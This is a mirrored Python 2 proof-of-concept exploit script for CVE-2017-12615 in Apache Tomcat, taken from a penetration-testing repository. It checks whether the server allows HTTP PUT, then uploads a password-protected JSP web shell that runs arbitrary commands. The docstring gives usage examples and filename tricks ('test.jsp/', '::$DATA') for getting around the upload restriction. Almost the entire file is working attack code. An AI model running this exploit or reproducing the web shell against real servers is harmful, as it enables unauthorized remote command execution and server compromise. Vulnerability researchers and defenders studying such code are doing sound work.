mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-06-20 09:50:19 +00:00
56 lines
2.1 KiB
Python
56 lines
2.1 KiB
Python
#! -*- coding:utf-8 -*-
|
||
__author__="浮萍"
|
||
__Date__="20170920"
|
||
|
||
|
||
'''
|
||
Usage:
|
||
python CVE-2017-12615.py www.example.com:8080
|
||
|
||
python CVE-2017-12615.py 192.168.135.132
|
||
|
||
shell：http://192.168.135.132/1505876909.jsp?cmd=whoami&pwd=023
|
||
|
||
Python version: 2.7.13
|
||
|
||
tomcat:apache-tomcat-7.0.70 apache-tomcat-7.0.81
|
||
|
||
在apache-tomcat-7.0.70 apache-tomcat-7.0.81测试成功。
|
||
apache-tomcat-7.0.70文件名可为 put test.jsp/ 和 put test.jsp::$DATA
|
||
apache-tomcat-7.0.81文件名可为put test.jsp/
|
||
文件名也可以试试 test.jsp/. 来绕过
|
||
'''
|
||
|
||
import httplib
|
||
import sys
|
||
import time
|
||
|
||
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
|
||
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
|
||
try:
|
||
conn = httplib.HTTPConnection(sys.argv[1])
|
||
conn.request(method='OPTIONS', url='/ffffzz')
|
||
headers = dict(conn.getresponse().getheaders())
|
||
if 'allow' in headers and \
|
||
headers['allow'].find('PUT') > 0 :
|
||
conn.close()
|
||
conn = httplib.HTTPConnection(sys.argv[1])
|
||
url = "/" + str(int(time.time()))+'.jsp/'
|
||
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
|
||
conn.request( method='PUT', url= url, body=body)
|
||
res = conn.getresponse()
|
||
if res.status == 201 :
|
||
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
|
||
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
|
||
elif res.status == 204 :
|
||
print 'file exists'
|
||
else:
|
||
print 'error'
|
||
conn.close()
|
||
|
||
else:
|
||
print 'Server not vulnerable'
|
||
|
||
except Exception,e:
|
||
print 'Error:', e
|